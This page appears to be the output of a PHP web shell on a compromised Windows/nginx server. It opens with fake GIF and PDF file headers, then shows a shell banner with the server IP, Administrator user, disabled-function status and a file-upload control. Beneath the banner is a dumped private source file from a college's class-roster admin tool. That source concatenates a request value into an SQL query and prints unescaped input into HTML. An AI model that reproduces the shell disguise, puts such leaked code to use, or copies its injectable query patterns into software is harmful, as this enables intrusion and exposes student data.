GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Class/ |
Upload File : |
<? // Admin/Class/ClassRosterVerify.phpinc $d_O = d_O(); #d_On(); // Uncomment to DEBUG. debugTrackBegin(); #setDebugOn(); #setDebugOff(); #d_On(); d_LIne('In Admin/Class/ClassRosterVerify.phpinc'); $js .= ",ClassEvaluations,wforms"; $headTitle = '_CST_ - '.$f_courseNumber; $pageTitle = '_CST_<br>'.$f_courseNumber; include('common/pageHeader.phpinc'); #if (dc()) echo "<b>".__FILE__."</b><br>\n"; $f_classRoster = formValue('classRoster'); $sectionTitle = '_CST_ - '.$f_courseNumber.' Class Roster'; include('common/sectionHeader.phpinc'); // Get current class roster. $query = " SELECT userStarID, userStudentId, userFirstName, userMiddleName, userLastName FROM classstudent WHERE classstudent.classId = ".$f_classId." "; #d_Var('classstudentResult',$query,'q'); $classstudentResult = query_do($query); $classstudentCount = $_SESSION['qry']['count']; #d_Var('classstudentCount',$classstudentCount,'d'); $classRosterCurrent = array(); $classRosterCurrentCount = 0; if ($classstudentCount) { // Are there current students? mysqli_data_seek($classstudentResult, 0); while ($classstudentRow = mysqli_fetch_assoc($classstudentResult)) { // Loop thru the result. //$classRosterCurrent[$i] = array(); $classRosterCurrent[$classRosterCurrentCount]['userStarID'] = $classstudentRow['userStarID']; $classRosterCurrent[$classRosterCurrentCount]['userStudentId'] = $classstudentRow['userStudentId']; $classRosterCurrent[$classRosterCurrentCount]['userFirstName'] = $classstudentRow['userFirstName']; $classRosterCurrent[$classRosterCurrentCount]['userMiddleName'] = $classstudentRow['userMiddleName']; $classRosterCurrent[$classRosterCurrentCount]['userLastName'] = $classstudentRow['userLastName']; $classRosterCurrentCount++; } // Loop thru the result. } else { // Are there current students? //$classRosterCurrent[0] = array(); } // Are there current students? #d_Var('$classRosterCurrentCount',$classRosterCurrentCount,'d'); #d_Var('$classRosterCurrent',$classRosterCurrent,'d'); // BEGIN Parse the roster entered. $classRosterAdd = 0; $classRosterDrop = 0; // Get class roster entered. $classRosterEntered = array(); $classRosterLines = explode("\n",$f_classRoster); $classRosterLineCount = count($classRosterLines); #d_Var("\$classRosterLineCount",$classRosterLineCount,'d'); #d_Var('$classRosterLineCount',$classRosterLineCount); if ( $classRosterLineCount ) { $browserOK = false; // Used to determine if the browser is OK (Copies tabs between table columns). // Verify that a browser that copies tabs is being used. $classRosterEnteredCount = 0; for ( $i=0; $i<$classRosterLineCount; $i++ ) { // Loop thru class roster lines. $classRosterLineTabs = explode("\t",$classRosterLines[$i]); #d_Var('$classRosterLineTabs',$classRosterLineTabs,'d'); if ( count($classRosterLineTabs) >= 9 ) { $browserOK = true; } } // Loop thru class roster lines. #d_Var('$browserOK',$browserOK,'iI'); #d_End(); if ( $browserOK ) { // Is the browser OK? $classRosterEnteredCount = 0; for ( $index=0; $index<$classRosterLineCount; $index++ ) { // Loop thru class roster lines. $classRosterEntered[$classRosterEnteredCount] = array(); // Parse the class roster line. $classRosterLineTabs = explode("\t",$classRosterLines[$index]); #d_Var("\$classRosterLineTabs",$classRosterLineTabs,'/'); #d_End(); if ( count($classRosterLineTabs) >= 9 ) { // Does this line have at least 9 entries? $hasStarID = preg_match("/[a-z]{2}[0-9]{4}[a-z]{2}/",trim($classRosterLineTabs[0])); $hasTechId = preg_match("/[0-9]{8}/",trim($classRosterLineTabs[1])); #d_Var("\$hasStarID",$hasStarID); #d_Var("\$hasTechId",$hasTechId); if ( $hasStarID && $hasTechId ) { // Does the line start with a StarID and have a techId? #d_Var("\$classRosterLines[$index]",$classRosterLines[$index],'d/'); // Trim entered data. for ( $i=0; $i<count($classRosterLineTabs); $i++) { $classRosterLineTabs[$i] = trim($classRosterLineTabs[$i]); } //#d_Var("\$classRosterLineTabs",$classRosterLineTabs,'/'); #d_End(); // $classRosterLineTabs[0] is the StarID. $classRosterEntered[$classRosterEnteredCount]['userStarID'] = $classRosterLineTabs[0]; // $classRosterLineTabs[1] is the userStudentId. $classRosterEntered[$classRosterEnteredCount]['userStudentId'] = $classRosterLineTabs[1]; // $classRosterLineTabs[2] is the student name. // BEGIN Get the student name. $studentNameParts = explode(",",trim($classRosterLineTabs[2])); #d_Var("\$studentNameParts",$studentNameParts,''); if ( isset($studentNameParts[1]) ) { // Does the student have a last name? // Yes. $classRosterEntered[$classRosterEnteredCount]['userLastName'] = $studentNameParts[0]; $studentNameParts = explode(" ",trim($studentNameParts[1])); } else { // Does the student have a last name? // No. $classRosterEntered[$classRosterEnteredCount]['userLastName'] = ''; $studentNameParts = explode(" ",trim($studentNameParts[0])); } // Does the student have a last name? #d_Var("\$studentNameParts",$studentNameParts,'d'); $classRosterEntered[$classRosterEnteredCount]['userFirstName'] = $studentNameParts[0]; $classRosterEntered[$classRosterEnteredCount]['userMiddleName'] = ''; if ( isset($studentNameParts[1]) ) { // Does the student have a middle name? $prefix = ''; $nameIndex = 1; while ( $nameIndex < count($studentNameParts) ) { if ( $studentNameParts[$nameIndex] != '' ) { $classRosterEntered[$classRosterEnteredCount]['userMiddleName'] .= $prefix.$studentNameParts[$nameIndex]; $prefix = ' '; $nameIndex++; } } } // Does the student have a middle name? #d_Var("substr(\$studentNameParts[0],-1)",substr($studentNameParts[0],-1)); if ( $classRosterEntered[$classRosterEnteredCount]['userFirstName'] == '' && $classRosterEntered[$classRosterEnteredCount]['userMiddleName'] != '' ) { $classRosterEntered[$classRosterEnteredCount]['userFirstName'] = $classRosterEntered[$classRosterEnteredCount]['userMiddleName']; $classRosterEntered[$classRosterEnteredCount]['userMiddleName'] = ''; } if ( $classRosterEntered[$classRosterEnteredCount]['userFirstName'] == '' && $classRosterEntered[$classRosterEnteredCount]['userLastName'] != '' ) { $classRosterEntered[$classRosterEnteredCount]['userFirstName'] = $classRosterEntered[$classRosterEnteredCount]['userLastName']; $classRosterEntered[$classRosterEnteredCount]['userLastName'] = ''; } #d_Var("\$classRosterEntered[$classRosterEnteredCount]['userFirstName']",$classRosterEntered[$classRosterEnteredCount]['userFirstName'],''); #d_Var("\$classRosterEntered[$classRosterEnteredCount]['userMiddleName']",$classRosterEntered[$classRosterEnteredCount]['userMiddleName'],''); #d_Var("\$classRosterEntered[$classRosterEnteredCount]['userLastName']",$classRosterEntered[$classRosterEnteredCount]['userLastName'],''); // END Get the student name. #d_End(); // $classRosterLineTabs[3] is the Major. $classRosterEntered[$classRosterEnteredCount]['Major'] = $classRosterLineTabs[3]; // $classRosterLineTabs[4] is the Student Classification. $classRosterEntered[$classRosterEnteredCount]['Classification'] = $classRosterLineTabs[4]; // $classRosterLineTabs[5] is the Credits. $classRosterEntered[$classRosterEnteredCount]['Credits'] = $classRosterLineTabs[5]; // $classRosterLineTabs[6] is the Grading Method. // $classRosterLineTabs[7] is the Grade. // $classRosterLineTabs[8] is the Last Date Attended. // $classRosterLineTabs[9] is the Advisor. $classRosterEntered[$classRosterEnteredCount]['Advisor'] = $classRosterLineTabs[9]; // $classRosterLineTabs[6] is the Grade. //$classRosterEntered[$classRosterEnteredCount]['FW'] = $classRosterLineTabs[7]; #d_Var("\$classRosterEntered[$classRosterEnteredCount]['userFirstName']",$classRosterEntered[$classRosterEnteredCount]['userFirstName'],'/d'); #d_Var("\$classRosterEntered[$classRosterEnteredCount]['FW']",$classRosterEntered[$classRosterEnteredCount]['FW'],'d'); // #d_Var("\$classRosterEntered[$classRosterEnteredCount]['userStudentId']",$classRosterEntered[$classRosterEnteredCount]['userStudentId'],'d/'); // #d_Var("\$classRosterLineTabs[7]",$classRosterLineTabs[7],'d'); #d_Var("\$classRosterEntered[$classRosterEnteredCount]",$classRosterEntered[$classRosterEnteredCount],'d'); $student_In_classRosterCurrent = false; #d_Var("\$classRosterEntered[$classRosterEnteredCount]['userStudentId']",$classRosterEntered[$classRosterEnteredCount]['userStudentId'],'dAa'); for( $j=0; $j<$classRosterCurrentCount; $j++ ) { // Loop thru current students again. #d_Var("\$classRosterEntered[$j]['userStudentId']", $classRosterEntered[$j]['userStudentId'],'d'); if ( isset($classRosterEntered[$classRosterEnteredCount]['userStudentId']) && isset($classRosterCurrent[$j]['userStudentId']) && $classRosterEntered[$classRosterEnteredCount]['userStudentId'] == $classRosterCurrent[$j]['userStudentId'] ) { // Is the current student also entered? $student_In_classRosterCurrent = true; break; } // Is the current student also entered? } // Loop thru current students again. #d_Var('$student_In_classRosterCurrent',$student_In_classRosterCurrent,'d'); $classRosterEntered[$classRosterEnteredCount]['FW'] = $classRosterLineTabs[7]; if ($student_In_classRosterCurrent) { // Is this student in the current roster? // Yes. if ( $classRosterLineTabs[7] == 'W' || $classRosterLineTabs[7] == 'FW' ) { // Has this student withdrawn or been LDA from the classs? // Yes. Drop the student. $classRosterEntered[$classRosterEnteredCount]['Action'] = 'Drop'; $classRosterEntered[$classRosterEnteredCount]['FW'] .= ' '.$classRosterLineTabs[8]; $classRosterDrop++; } else { // Has this student withdrawn or been LDA from the classs? // No. if ($classRosterEntered[$classRosterEnteredCount]['FW'] == '') { $classRosterEntered[$classRosterEnteredCount]['Action'] = 'Both'; } else { unset($classRosterEntered[$classRosterEnteredCount]); $classRosterEnteredCount--; } } // Has this student withdrawn or been LDA from the classs? } else { // Is this student in the current roster? // No. Add the student. if ( $classRosterLineTabs[7] == 'W' || $classRosterLineTabs[7] == 'FW' ) { // Did this student withdraw? // Yes, remove the student. unset($classRosterEntered[$classRosterEnteredCount]); $classRosterEnteredCount--; } else { // Did this student withdraw? // No, mark student as an Add. $classRosterEntered[$classRosterEnteredCount]['Action'] = 'Add'; $classRosterAdd = 1; } } // Is this student in the current roster? /** / if ( $classRosterLineTabs[7] == 'W' ) { // Has this student withdrawn or been LDA from the classs? unset($classRosterEntered[$classRosterEnteredCount]); // $classRosterEntered[$classRosterEnteredCount]['Action'] = 'Drop'; // $classRosterEntered[$classRosterEnteredCount]['FW'] = $classRosterLineTabs[7]; $classRosterDrop++; } else { // Has this student withdrawn from the classs? // Determine if the action is Add or both. if ( $classRosterLineTabs[7] == 'FW' ) { // Has this student withdrawn or been LDA from the classs? //unset($classRosterEntered[$classRosterEnteredCount]); $classRosterEntered[$classRosterEnteredCount]['Action'] = 'Drop'; $classRosterEntered[$classRosterEnteredCount]['FW'] = 'FW '.$classRosterLineTabs[8]; $classRosterDrop++; } else { $classRosterEntered[$classRosterEnteredCount]['FW'] = ''; $student_IsCurrent = false; #d_Var("\$classRosterEntered[$classRosterEnteredCount]",$classRosterEntered[$classRosterEnteredCount],''); for ( $i=0; $i<count($classRosterCurrent); $i++ ) { // Loop thru current students. #d_Var("\$classRosterCurrent[$i]",$classRosterCurrent[$i],''); if ( $classRosterEntered[$classRosterEnteredCount]['userStudentId'] == $classRosterCurrent[$i]['userStudentId'] ) { $student_IsCurrent = true; } } // Loop thru current students. if ( $student_IsCurrent ) { $classRosterEntered[$classRosterEnteredCount]['Action'] = 'Both'; } else { $classRosterEntered[$classRosterEnteredCount]['Action'] = 'Add'; $classRosterAdd = 1; } $studentInfo = $classRosterEntered[$classRosterEnteredCount]['Action'].' '.$classRosterEntered[$classRosterEnteredCount]['userStudentId'].' '.$classRosterEntered[$classRosterEnteredCount]['userFirstName'].' '.$classRosterEntered[$classRosterEnteredCount]['userLastName']; #d_Line($studentInfo); #d_Var("\$classRosterEntered[$classRosterEnteredCount]",$classRosterEntered[$classRosterEnteredCount],''); } #d_Var("\$classRosterEntered[$classRosterEnteredCount]['Action']",$classRosterEntered[$classRosterEnteredCount]['Action'],'d'); $classRosterEnteredCount++; } // Has this student withdrawn from the classs? /**/ #d_Var('$classRosterEnteredCount',$classRosterEnteredCount,'d'); if ($classRosterEnteredCount >= 0) { $studentInfo = $classRosterEntered[$classRosterEnteredCount]['Action'] .' '.$classRosterEntered[$classRosterEnteredCount]['userStudentId'] .' '.$classRosterEntered[$classRosterEnteredCount]['userFirstName'] .' '.$classRosterEntered[$classRosterEnteredCount]['userLastName']; } else { $studentInfo = ''; } #d_Var('$studentInfo',$studentInfo,'d'); $classRosterEnteredCount++; #d_End(); } // Does the line start with a StarID and have a techId? } // Does this line have at least 9 entries? } // Loop thru class roster lines. //$lastEnteredIndex = $classRosterEnteredCount - 1; if (!isset($classRosterEntered[$classRosterEnteredCount]['userStudentId'])) { unset($classRosterEntered[$classRosterEnteredCount]); #$classRosterEnteredCount--; } } else { ?><br><span class="bold error">You must use a browser that copies tabs such as Chrome or Firefox.</span><br><? } } else { $classRosterEnteredCount = 0; } if ( $classRosterEnteredCount == 0 ) $classRosterEntered[0]['userStudentId'] = array(); #d_Line('Total entered.'); #d_Var('$classRosterEnteredCount',$classRosterEnteredCount,'d'); #d_Var('$classRosterEntered',$classRosterEntered,'dk'); #d_End(); // END Parse the roster entered. // Cleanup $classRosterEntered. foreach ( $classRosterEntered as $i => $data) { if (!isset($data['userStudentId'])) { unset($classRosterEntered[$i]); } } #d_Var('$classRosterEntered',$classRosterEntered,'dk'); // BEGIN Check for students not in $classRosterEntered. $classRosterFinal = $classRosterEntered; foreach ($classRosterCurrent as $currentStudent) { // Loop thru current students. $studentEntered = false; foreach ($classRosterEntered as $enteredStudent) { // Loop thru entered students. if ($currentStudent['userStudentId'] == $enteredStudent['userStudentId']) { // Was the current student also entered? $studentEntered = true; } } // Loop thru entered students. if (!$studentEntered) { // Was this student not entered? // Add the current student as a drop. $classRosterDrop = 1; $currentStudent['Action'] = 'Drop'; $currentStudent['FW'] = ''; $classRosterFinal[$classRosterEnteredCount] = $currentStudent; $classRosterEnteredCount++; } // Was this student not entered? } // Loop thru current students. #d_Var('$classRosterFinal',$classRosterFinal,'d'); // END Check for students not in $classRosterEntered. $classRosterEntered = $classRosterFinal; //$classRosterEnteredCount = count($classRosterEntered); #d_Var('$classRosterEnteredCount',$classRosterEnteredCount,'d'); #d_Var('$classRosterEntered',$classRosterEntered,'dk'); // Sort classRosterEntered. $changeMade = true; while ($changeMade) { $changeMade = false; for($i=0; $i<$classRosterEnteredCount-1; $i++) { $j = $i+1; $tempi = $classRosterEntered[$i]['userLastName'].' '.$classRosterEntered[$i]['userFirstName'].' '.$classRosterEntered[$i]['userMiddleName'].' '.$classRosterEntered[$i]['userStudentId']; $tempj = $classRosterEntered[$j]['userLastName'].' '.$classRosterEntered[$j]['userFirstName'].' '.$classRosterEntered[$j]['userMiddleName'].' '.$classRosterEntered[$j]['userStudentId']; if ($tempi > $tempj) { $tmpI = $classRosterEntered[$i]; $tmpJ = $classRosterEntered[$j]; $classRosterEntered[$i] = $tmpJ; $classRosterEntered[$j] = $tmpI; $changeMade = true; } } } #d_Var("\$classRosterEntered",$classRosterEntered); d_Line('Sorted by last name.'); #d_Var('$classRosterEntered',$classRosterEntered,'k'); if ( !$d_O ) d_Off(); if ( $browserOK ) { // Display class roster changes. ?> <form name="form_classlistenter" action="<?=php_self()?>" method="post" style="display:inline;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_form" type="hidden" value="form_classlistenter"> <input name="f_classId" type="hidden" value="<?=$f_classId?>"> <input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>"> <input name="f_courseId" type="hidden" value="<?=$f_courseId?>"> <input name="f_classRosterEnteredCount" type="hidden" value="<?=$classRosterEnteredCount?>"> <input name="f_task" type="hidden" value="Class Roster"> <fieldset><legend>Class Roster Changes</legend> <? if ($classRosterEnteredCount) { $studentsPerColumn = (int) ($classRosterEnteredCount/3+.99); //echo $studentsPerColumn."<br>\n"; ?> <table cellpadding="0" cellspacing="0"><tr> <? $studentsThisColumn = 0; for ($i=0; $i<$classRosterEnteredCount; $i++) { if ($studentsThisColumn == 0) { ?> <td style="padding-right:10px;"> <? } ?> <span class="user<?=$classRosterEntered[$i]['Action']?> copyText"><?=$classRosterEntered[$i]['userStudentId']?> <?=$classRosterEntered[$i]['userFirstName']?> <?=$classRosterEntered[$i]['userLastName']?> <?=$classRosterEntered[$i]['FW']?></span><br> <input type="hidden" name="f_Action_<?=$i?>" value="<?=$classRosterEntered[$i]['Action']?>" /> <input type="hidden" name="f_Advisor_<?=$i?>" value="<?=$classRosterEntered[$i]['Advisor']?>" /> <input type="hidden" name="f_Classification_<?=$i?>" value="<?=$classRosterEntered[$i]['Classification']?>" /> <input type="hidden" name="f_Credits_<?=$i?>" value="<?=$classRosterEntered[$i]['Credits']?>" /> <input type="hidden" name="f_Major_<?=$i?>" value="<?=$classRosterEntered[$i]['Major']?>" /> <input type="hidden" name="f_userFirstName_<?=$i?>" value="<?=$classRosterEntered[$i]['userFirstName']?>" /> <input type="hidden" name="f_userLastName_<?=$i?>" value="<?=$classRosterEntered[$i]['userLastName']?>" /> <input type="hidden" name="f_userMiddleName_<?=$i?>" value="<?=$classRosterEntered[$i]['userMiddleName']?>" /> <input type="hidden" name="f_userStudentId_<?=$i?>" value="<?=$classRosterEntered[$i]['userStudentId']?>" /> <input type="hidden" name="f_userStarID_<?=$i?>" value="<?=$classRosterEntered[$i]['userStarID']?>" /> <? $studentsThisColumn++; if ($studentsThisColumn == $studentsPerColumn) { $studentsThisColumn = 0; ?> </td> <? } } if ($studentsThisColumn != 0) { ?> </td> <? } ?> </tr></table> <? } else { ?> No students are in the class list. <? } ?> </fieldset> <? if ( $classRosterAdd == 1 || $classRosterDrop >= 1 ) { ?> <input type="submit" name="f_subtask" value="Process Changes" class="small"> <? } if ( $classRosterAdd == 1 && $classRosterDrop >= 1 ) { ?> <input type="submit" name="f_subtask" value="Process Adds Only" class="small"> <? } if ( $classRosterAdd == 1 && $classRosterDrop >= 1 ) { ?> <input type="submit" name="f_subtask" value="Process Drops Only" class="small"> <? } if ( $classRosterAdd == 1 || $classRosterDrop >= 1 ) { ?> <input type="submit" name="f_subtask" value="Cancel" class="small50"><br> <? } if ( $classRosterAdd == 0 && $classRosterDrop == 0 ) { ?> <input type="submit" name="f_subtask" value="Done" class="small50"><br> <? } ?> </form> <span class="userBoth">Green = Student is already on the current class roster.</span><br> <span class="userAdd">Blue = Student is not on the current class roster and will be added.</span><br> <span class="userDrop">Red = Student is not on the new class roster and will be dropped.</span><br> <? } else { include('Admin/Class/ClassRoster.phpinc'); } include('common/sectionFooter.phpinc'); #d_End(); debugTrackEnd(); ?>